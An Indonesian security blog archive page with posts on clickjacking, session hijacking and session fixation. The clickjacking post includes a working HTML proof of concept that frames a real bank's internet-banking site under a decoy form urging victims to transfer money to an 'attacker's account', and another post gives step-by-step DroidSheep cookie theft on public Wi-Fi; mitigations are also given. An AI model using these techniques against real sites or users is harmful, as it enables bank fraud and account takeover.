Recent Blog Post

Archive for November 2019

  •  Clickjacking Attack
    Hasil gambar untuk Clickjacking Attack
    Clickjacking adalah sebuah jenis serangan pada aplikasi web. Contohnya, Ada sebuah website yang menampilkan sebuah pilihan tombol klik disini mendapatkan laptop gratis. Korban tentunya penasaran dan ingin mengklik tombol tersebut. Namus ketika diklik ternyata web akan mejalankan fungsi jahat yang telah dibuat oleh penyerang.

    Jadi halaman web tersebut telah dimanipulasi oleh penyerang. Sehingga halaman tersebut sesungguhnya memiliki beberapa layer. Misalnya layer paling bawah ada tombol klik disini untuk mendapatkan laptop gratis. Namun diatas halaman tersebut ada sebuah layer yg tidak terlihat. Jadi ketika ingin mengklik tombol tadi, Sesungguhnya yg kita klik adalah layer tidak terlihat tersebut. Jadi si penyerang membajak sebuah tombol yg ingin kita klik dan di ganti dengan tombol lain yg berbahaya.

    Contoh lainya adalah kasus Twitter Worm. Jadi penyerang menampilkan sebuah halaman untuk melihat sebuah berita di Twitter. Namun ketika diklik yg terjadi adalah korban melakukan retweet sebuah link alamat berbahaya. Contoh lainya penyerang memanfaatkan serangan ini untuk mendapatkan penghasilan dari google adsens. Sementara kasus yg paling berbahaya adalah penyerang menggunakan teknik ini untuk menyebarkan malware. 

    Jenis" Serangan Clickjacking

    • CursorJacking 
    • LikeJacking
    • CookieJacking


    ClickJacking Attack
    Agar lebih mudah di mengerti, Maka kita Langsung saja mencoba apakah sebuah situs dapat dieksploitasi ClickJacking. 

    Contoh kita menggunakan tag HTML :

    <html> <head> <title>Clickjack test page</title> </head> <body> <iframe src="bcstutoriall.blogspot.com" width="500" height="500"></iframe> </body> </html>
    Nah code Html diatas akan memanggil frame dari halaman beauty cyber squad.

    Contoh lain : Sample ClickJacking In Mandiri Bank 


    <html>
    <title>
    Clickjacking
    </title>
    <style type="text/css">
    <!--
    body {background: #D7E7F5 url('https://www.google.com/images/srpr/logo11w.png') no-repeat fixed center;}
         
    -->
    </style>
    
    <center>
     <h4> DUNIA IMAJINASI<br>
      PASTEKAN NOMOR DIBAWAH INI KEDALAM MASING-MASING KOLOM<br>
      1. 05435435 // Nomor Rekening Peretas<br>
      2. 900.000.000 // Jumlah uang yang akan ditransfer<br>
      CLICK DOWNLOAD<br>
      ANDA AKAN MENDAPAT APA YANG INGINKAN<br>
     </h4>
     </h2>
      CATATAN: KOLOM SUDAH DIPRIVACY HARAP PASTEKAN DENGAN HATI-HATI !
     </h2>
    </center>
    <form action="http://devilzc0de.org/">
    <input align="left" style="position:absolute;top:230px;left:660px" name="Rekening" value=""><br>
    <input style="position:absolute;top:275px;left:660px" name="Rekening" value=""><br>
    <button style="position:absolute;top:320px;left:700px">Download</button>
    </form>
    <iframe src="https://ib.bankmandiri.co.id/" style="position:absolute;width:800px;height:500px;top:90px;left:270px;opacity:0.5" scrolling="no" frameborder="none">
    </iframe>
    </html>



     Contoh exploit diatas adalah form login yg kita umpamakan sebagai form transfer uang.
    - Kolom pertama adalah nomor rekening
    - Kolom kedua adalah jumlah uang yg akan di transfer

    Karena kolom yg akan di isi adalah kolom pada frame yg kita hidden makan tidak akan muncul nilainya, Jadi sedikit menggunakan teknik social engineering agar si korban percaya untuk melakukan hal yg kita inginkan dan ketika si korban melakukan klik-an, maka korban telah melakukan pengiriman uang ke akun rekening kita. 


    Cara Mencegah ClickJacking 

    - Nginx
    add_header X-Frame-Options "DENY" always;
    - Apache
    Header always append X-Frame-Options DENY
    - htaccess
    Header append X-FRAME-OPTIONS "DENY"
    - HTML
    meta http-equiv="X-Frame-Options" content="deny"
    - Gunakan Web Application Firewall

    Clickjacking Attack



    • Session Hijacking



    Hasil gambar untuk Session Hijacking Basics

    Bayangkan ketika anda nonton bioskop, lalu tiba-tiba di tengah pertunjukan anda ingin ke toilet yang letaknya di luar studio. Setelah anda selesai dari toilet, menurut anda apakah anda dibolehkan masuk atau diminta membeli tiket lagi? Bila anda diminta membeli tiket lagi, berarti dia “lupa” bahwa anda adalah penonton yang sah. Bagaimana cara penjaga pintu studio mengingat bahwa anda adalah pentonton yang sah? Saking banyaknya pentonton tidak mungkin penjaga hafal wajah tiap penonton. Maka cara yang dipakai adalah dengan bukti berupa tiket masuk.
    Itulah ilustrasi dari session. Mulai bioskop memutar film sampai selesai adalah satu sesi. Setiap penonton bebas keluar masuk studio selama sesi masih berlangsung, namun setelah sesi selesai, penonton tidak boleh lagi masuk studio. Karena penjaga pintu studio tidak mungkin mengingat setiap penonton, maka diperlukan bukti berupa tiket.
    HTTP adalah protokol yang sifatnya stateless, artinya setiap transaksi request dan response adalah bebas, tidak ada hubungannya dengan transaksi sebelum atau sesudahnya. Server tidak mungkin mengingat dan mengetahui bahwa transaksi X dan transaksi Y dilakukan oleh orang yang sama.
    Session Identifier is Your Ticket
    Seperti pada ilustrasi bioskop, untuk membantu penjaga pintu studio mengetahui setiap penonton yang masuk adalah penonton yang sah diperlukan bukti berupa tiket. Dalam HTTP, tiket bioskop itu berupa session identifier yang tidak lain adalah untaian karakter dan angka yang panjang dan acak.
    Ketika pengunjung pertama kali datang, server akan memberikan tiket berupa session id. Ketika server menerima request dari pengunjung yang membawa session id, server akan memeriksa apakah session id itu valid. Jika session id valid, maka server yakin bahwa request ini datang dari “returning visitor” bukan orang asing. Ingat ilustrasi bioskop di awal, ini seperti penjaga pintu studio yakin bahwa anda adalah penonton yang kembali masuk setelah sebelumnya keluar ke toilet.
    Ada 2 media untuk membawa sessionid, yaitu cookie dan URL. Cookie biasanya berupa file text yang disimpan oleh browser dan dikirimkan kembali ke server bersama setiap request. Sedangkan sessionid yang dibawa melalui URL umumnya berbentuk parameter seperti  ?sessionid=123123 .
    Server umumnya memberikan sessionid melalui cookie karena cara ini lebih aman dari cara URL.
    Web Application Session
    Dalam web aplikasi umumnya pengunjung diharuskan memasukkan username dan password, setelah itu baru pengunjung bisa menikmati beragam fasilitas yang diberikan sampai pengunjung melakukan logout. Mari kita lihat apa yang terjadi ketika pengunjung melakukan login.
    Ketika pengunjung memasukkan username (katakanlah “Budi”) dan password yang benar, web server akan memberikan tiket berupa sessionid katakanlah “1234”. Kemudian dalam database akan dicatat bahwa sessionid “1234” adalah milik seorang pengunjung yang bernama “Budi”. Setiap kali ada request yang membawa tiket sessionid “1234”,  server yakin bahwa  request itu adalah dari pengunjung yang namanya adalah “Budi”. Tiket ini akan terus valid sampai suatu saat “Budi” melakukan logout. Setelah logout, ketika ada request dengan sessionid “1234”, maka server akan tahu bahwa sessionid itu sudah tidak valid, dan memaksa anda login.
    Stealing Session
    Bayangkan bila ketika anda keluar bioskop untuk ke toilet, tiket anda jatuh dan saya temukan. Lalu saya masuk ke studio dengan tiket itu, apakah saya diijinkan masuk? Tentu saja boleh! Karena saya memegang bukti tak terbantahkan berupa tiket. Sedangkan anda yang kehilangan tiket tidak akan boleh masuk studio karena penjaga studio tidak hafal wajah anda.
    Itulah yang akan terjadi bila seseorang mencuri sessionid. Jika anda sedang baca email dan sessionid anda dicuri orang lain, maka orang lain itu akan bisa juga membaca email anda dan server akan yakin bahwa orang lain itu adalah anda.
    Di internet, siapapun yang membawa sessionid anda akan menjadi anda!
    Bagaimana cara mendapatkan sessionid korban? Secara garis besar ada 3 kategori teknik untuk mendapatkan sessionid, yaitu predict, capture dan fixate.
    1. Predict
    2. Teknik ini mirip dengan judi togel, yaitu dengan cara menebak-nebak angka. Kemungkinan berhasilnya tergantung dari tingkat ke-acak-an sessionid. Bila sessionid tidak cukup random, bahkan cenderung mengikuti suatu pola, maka kemungkinan sessionid bisa ditebak. Namun umumnya sessionid sekarang sudah menggunakan fungsi random dan ukurannya panjang, sehingga kecil kemungkinan berhasil dengan cara ini (jauh lebih mudah menebak togel yang cuma 4 angka, daripada menebak sessionid).
    3. Capture
      • (Passive) Sniffing.
        Menyadap komunikasi http antara browser korban dan server web. Teknik ini sangat mungkin dilakukan untuk situs yang tidak dilindungi https karena paket http tidak ter-enkripsi.
      • Man-in-them-middle (MITM).
        Situs dengan https tidak bisa disniff secara passive. Man-in-the-middle attack diperlukan untuk sniffing komunikasi antara browser korban dan server yang dilindungi https. Namun tanpa sertifikat yang di-sign CA yang dipercaya browser, serangan ini mudah dicegah karena browser akan memberi warning bahwa sertifikat attacker tidak bisa dipercaya.
      • Cross Site Request Forgery (CSRF).
        CSRF attack bertujuan untuk membuat korban melakukan request yang mengandung sessionid. Bila sessionid disimpan dalam cookie, maka request akan mengandung sessionid dalam header cookie. Bila sessionid disimpan dalam URL (url rewriting), maka request akan mengandung sessionid dalam header referer.
      • Cross Site Scripting (XSS).
        XSS dilakukan dengan cara meng-injeksi code javascript (client side script) yang akan dieksekusi oleh browser korban. Code javascript ini bertujuan mengirimkan cookie ke server yang sudah disiapkan attacker.
    4. Fixate.
      Kalau menebak dan menyadap sessionid sulit dilakukan, maka cara lain adalah dengan memaksa korban menggunakan sessionid yang sudah dipilih sebelumnya oleh attacker. Serangan ini disebut dengan session fixation attack.
    Cara Pencegahannya
    Enkripsi lalu lintas data yang melewati antara pihak, khususnya session key, meskipun idealnya semua lalu lintas untuk seluruh sesi dengan menggunakan SSL / TLS. Teknik ini banyak diandalkan-upon oleh bank berbasis web dan layanan e-commerce lain, karena itu benar-benar mencegah serangan sniffing gaya. Namun, masih bisa dimungkinkan untuk melakukan beberapa jenis lain dari sesi pembajakan. Sebagai tanggapan, para ilmuwan dari Radboud University Nijmegen diusulkan pada tahun 2013 cara untuk mencegah pembajakan dengan menghubungkan sesi aplikasi dengan mandat SSL / TLS




    • Penggunaan nomor panjang acak atau string sebagai kunci sesi (session key). Hal ini mengurangi risiko bahwa penyerang hanya bisa menebak kunci sesi yang valid melalui trial and error atau serangan kekerasan.
    • Regenerasi id session setelah berhasil login. Hal ini untuk mencegah sesi fiksasi karena penyerang tidak mengetahui id sesi pengguna setelah s / ia telah login
    • Beberapa layanan melakukan pemeriksaan sekunder terhadap identitas pengguna. Sebagai contoh, server web bisa memeriksa dengan setiap permintaan yang dibuat bahwa alamat IP pengguna cocok dengan yang terakhir digunakan selama sesi tersebut. Ini tidak mencegah serangan oleh seseorang yang berbagi alamat IP yang sama, bagaimanapun, dan bisa membuat frustasi bagi pengguna yang alamat IP bertanggung jawab untuk mengubah selama sesi browsing.
    • Atau, beberapa layanan akan mengubah nilai cookie dengan setiap permintaan. Hal ini secara dramatis mengurangi jendela di mana seorang penyerang dapat beroperasi dan memudahkan untuk mengidentifikasi apakah serangan telah terjadi, tetapi dapat menyebabkan masalah teknis lainnya (misalnya, dua sah, waktunya erat permintaan dari klien yang sama dapat menyebabkan cek tanda kesalahan pada server).
    • Pengguna juga mungkin ingin log out dari situs web setiap kali mereka selesai menggunakan mereka.Namun ini tidak akan melindungi terhadap serangan seperti Firesheep.
    Cara Melakukan Session Hijacking Menggunakan DroidSheep

    Hasil gambar untuk droidsheep 


    Dalam aplikasi Android yang ada pada market salah satunya alpikasi DroidSheep dapat digunakan untuk mengawasi network traffic dan bisa memperoleh akun online. DroidSheep adalah aplikasi Cara Hack password yang membutuhkan rooting Android.
    Cara hack password DroidSheep melalui cookie, yang sering disebut http session hijacking (sidejacking) saat hacher menguasai cookie orang lain, memungkinkan hacker mengakses akun orang lain atau membajak. Pada jaringan wifi cookies dasarnya on-the-air, membuat lebih mudah untuk di bobol. Cara ini banyak digunakan oleh para hacker.



    • Cara membobol dengan memanfaatkan jaringan Wifi seperti tempat hotspot dii café, misal si A melakukan kirim email dan ada si B yang menjadi hacker juga sama-sama memanfaatkan jaringan wife di tempat yang sama, dengan menggunakan aplikasi DroidSheep ini , si B bisa bisa mengirim emil dan menghapur akun online si A.

    • Saat si A mengirim email dan menggunakan jaringan wife otomatis datta terkirim ‘over-the-air’ melalui router wifi , saat sistem over-the-air inilah cara hack terjadi menjadi lebih mudah.

    • Cara menggunakan aplikasi DroidSheep, klick tombol START dan tunggu hingga ada orang yang mengakses akun online atau situs yang kebanyakan didukung oleh Droidsheep. Setelah akun online terbaca klik dan voilA, cara ini sangat mudah.

    Cara ini hanya sebagai pengetahuan sehingga Anda bisa waspada saat melakukan online di area wifi.

    Mengenal Session Hijacking Lebih Dalam

  • Hasil gambar untuk black hat hacker

    Session fixation attack adalah salah satu dari 3 jurus untuk mendapatkan sessionid korban. Jurus ini sangat berbahaya karena attacker tidak perlu capek menebak atau menangkap sessionid korban.


    Stealing Session ID

    session id adalah kunci dari sebuah session. Jadi untuk membajak session, attacker tidak perlu username atau password, attacker cuma perlu session id. Lebih tepatnya adalah session id dari korban yang sessionnya masih hidup (korban sudah login dan belum logout).

    Bagaimana cara attacker mendapatkan session id korban? Dalam artikel session hijacking basics saya juga menjelaskan bahwa ada 3 cara untuk mendapatkan sessionid, yaitu:
    1. Predict
    2. Capture
    3. Fixate


    Session Fixation Attack
    Mencari tahu session id korban dalam situasi tertentu sulit untuk dilakukan.  Berbeda dengan serangan lainnya, tujuan dari session fixation attack bukanlah mencuri sessionid, tapi membuat korban menggunakan sessionid yang telah disiapkan sebelumnya.
    Dalam serangan session fixation, attacker MEMILIHKAN sessionid untuk korban
    Dengan memilihkan sessionid untuk korban, attacker tidak perlu repot mencari tahu sessionid korban karena attacker sudah mengetahuinya sejak awal (karena dia yang memilih).


    Sessionid dikirimkan ke server dengan dua cara:
    • query string (url rewriting), contohnya index.php?PHPSESSID=abcd
    • cookie
    Inisiatif pembangkitan/pemilihan sessionid seharusnya dilakukan oleh server, bukan oleh client. Serangan session fixation bisa terjadi karena server mau menerima usulan sessionid dari client baik yang dikirimkan melalui cookie maupun query string (url rewriting). Usulan sessionid dari client bisa digenerate sendiri oleh client secara bebas, atau digenerate oleh server.
    Fixation attack bisa terjadi karena server mau menerima usulan sessionid dari client
    Bila server mau menerima usulan sessionid yang dikirim melalui query string, berarti serangan session fixation bisa dilakukan secara remote. Tapi bila server hanya mau menerima usulan sessionid dari cookie, maka serangan hanya bisa dilakukan secara lokal di browser korban. Serangan remote jauh lebih berbahaya karena cukup dengan memberikan link dan membuat korban mengklik link tersebut, maka korban sudah termakan jebakan attacker untuk memakai sessionid yang sudah dipilih attacker.


    Remote Session Fixation
    Serangan remote session fixation secara dengan sessionid bebas dipilih oleh attacker diperlihatkan pada gambar berikut:
    Dalam kasus di atas attacker tidak perlu me-request sessionid dari server, karena bisa men-generate sendiri. Ketika korban login dengan link yang diberikan korban, maka korban telah terjebak menggunakan sessionid yang dipilih attacker untuk mengakses accountnya.
    Ada juga server yang tidak mengijinkan penggunaan sessionid yang tidak dibuat oleh server. Dalam kasus ini skenarionya mirip namun ditambahkan satu langkah untuk me-request sessionid dari server. Perhatikan gambar berikut ini:

    Mirip dengan skenario sebelumnya, gambar di atas memperlihatkan attacker meminta session id ke server terlebih dahulu. Perhatikan bahwa server mungkin memberikan sessionid dalam bentuk cookie, namun ketika attacker menjebak korban, attacker memberikan sessionid dalam bentuk query string kepada korban. Jangan bingung, server biasanya menerima sessionid dalam cookie maupun url rewriting.

    Dalam server yang menerima sessionid dalam cookie dan url rewriting, cookie mempunyai prioritas lebih dibanding url rewriting.
    Jadi bila di browser sudah ada cookie JSESSIONID=abcd, ketika browser mengakses url dengan query string ?JSESSIONID=wxyz, maka sessionid yang dianggap adalah abcd karena berasal dari cookie.
    Ada server yang lebih suka menggunakan cookie daripada query string sehingga server itu selalu memberikan cookie berisi sessionid bila menerima usulan sessionid melalui query string. Jadi untuk request selanjutnya klien tidak perlu menggunakan query string lagi, karena setiap request sessionid otomatis terikirim melalui cookie. Dalam kasus seperti ini serangan menjadi lebih mudah karena begitu korban mengklik link yang mengandung sesionid pada query stringnya, maka selanjutnya korban tidak perlu lagi menambahkan query string sessionid pada requestnya.
    Local Session Fixation


    Bila server hanya menerima usulan sessionid dari cookie, maka jurus session fixation tidak bisa dilakukan secara remote. Attacker harus menciptakan cookie berisi sessionid ke dalam browser korban. Untuk itu diperlukan akses fisik atau akses remote shell/desktop di komputer korban. Bila memiliki akses fisik atau remote desktop/shell, maka serangan ini mudah sekali dilakukan, cukup dengan membuat cookie berisi sessionid yang tanggal expirednya ditentukan masih sangat lama di komputer korban. Selanjutnya setiap korban membuka halaman yang ditarget attacker, maka sessionid yang dipakai adalah sessionid yang sudah dipilih oleh attacker.
    Skenarionya adalah attacker mengakses situs yang ditargetnya, sehingga akan tercipta cookie di browser korban. Attacker memodifikasi waktu expired cookie tersebut menjadi sangat lama. Kemudian attacker mencatat sessionid tersebut dan meninggalkan komputer korban seperti semula.

    Agar session tidak dianggap expired oleh server, dari komputer lain, attacker akan terus menerus mengakses situs target dengan cookie berisi sessionid tersebut. Begitu korban login dengan sessionid tersebut, maka attacker akan bisa mengakses account korban juga.

    Mencoba Session Fixation di Komputer Sendiri
    Untuk lebih mengerti mekanisme kerja session handling, saya akan membuat program kecil dalam php di URL komputer sendiri http://192.168.0.10/mylab/counter.php. Sebelumnya perlu diketahui bahwa sessionid dalam php defaultnya diberi nama PHPSESSID dan dalam contoh ini saya menggunakan nama defaultnya.

    Server Menentukan Session ID

    Bila saya me-request URL tersebut tanpa mengirimkan sessionid dalam cookie maupun query string, maka server akan men-generate sessionid sendiri dan memberikan saya cookie. Sebelum request saya menghapus semua cookie dari host 192.168.0.10 agar tidak ada sessiondid yang terkirim dalam request. Beginilah request yang dilakukan browser saya:
    Perhatikan bahwa pada request tersebut tidak ada satupun sessionid yang dikirimkan dalam bentuk cookie maupun query string. Mari kita lihat response yang diberikan server.
    Pada baris ke-5 dari response terlihat bahwa server memberikan sessionid “of6k7hsg17vl9jrg0b7lhrlck6” dalam bentuk cookie. Dalam kasus ini terlihat bahwa server yang menentukan sessionid dari sebuah session.
    Client Menentukan Session ID dengan Query String
    Kalau attacker ingin melakukan session fixation, maka sessionid harus ditentukan oleh client, bukan server. Sekarang kita coba memberikan sessionid dalam query string dan kita lihat request dan response yang terjadi. Seperti biasa saya menghapus semua cookie dari host tersebut sebelum melakukan request. Berikut requst yang terjadi:
    Dalam query string saya menambahkan PHPSESSID=abcdef1234567890 dengan maksud untuk memaksa server memakai sessionid tersebut sebagai sessionid dari session yang akan saya pakai. Mari kita lihat response yang diberikan server.
    Terlihat bahwa server menerima usulan saya untuk memakai “abcdef1234567890” sebagai sessionid, terlihat dari hasil fungsi session_id() yang menghasilkan string tersebut. Dalam kasus ini saya sukses memaksa server memakai sessionid yang saya pilih melalui query string. Bila link http://192.168.0.10/mylab/counter.php?PHPSESSID=abcdef1234567890 saya berikan pada korban, dan korban mengkliknya, maka saya dan korban akan sama-sama memakai sessionid “abcdef1234567890”. Apa saja yang bisa diakses oleh korban saya juga bisa mengaksesnya.
    Client Menentukan Session ID dengan Cookie
    add session cookie
    add session cookie
    Setelah mencoba query string, sekarang kita coba memberikan sessionid dalam cookie dan kita lihat request dan response yang terjadi. Kali ini saya harus menambahkan cookie berisi “PHPSESSID=0123456789” sebelum melakukan request. Berikut requst yang terjadi:
    Pada baris terakhir terlihat cookie yang saya kirimkan berisi sessionid. Saya ingin server menerima usulan saya untuk memakai “01234567890” sebagai sessionid. Berikut adalah response dari server.
    Terlihat bahwa hasil dari fungsi session_id() menunjukkan bahwa session tersebut menggunakan “01234567890” sebagai sessionid. Jadi saya sukses memaksa server memakai usulan saya sebagai sessionid.
    Pencegahan
    Anda telah melihat dalam contoh php di atas bahwa serangan session fixation tidak akan terjadi bila sessionid ditentukan oleh server, bukan oleh client. Dalam contoh php di atas bila client tidak memberikan sessionid dalam bentuk apapun, maka serverlah yang akan memberi sessionid. Jadi agar anda tidak terjebak memakai sessionid yang sudah diketahui orang lain, sebelum anda melakukan koneksi atau login, pastikan:
    • Tidak ada cookie berisi sessionid untuk domain situs yang akan anda kunjungi.
    • Pastikan URL yang anda kunjungi tidak mengandung query string yang berisi sessionid.
    Kesimpulan
    Session fixation adalah teknik mendapatkan sessionid yang sangat efektif. Cara ini lebih mudah dilakukan karena tidak perlu menebak sessionid, melakukan sniffing atau melakukan exploitasi XSS. Namun sayang awareness akan adanya teknik ini masih kurang, padahal di luar sana banyak situs yang rentan terhadap serangan ini.

    Session Fixation Attack

  • - Copyright © Beauty Cyber Squad - Powered by Blogger - Designed by Johanes Djogan -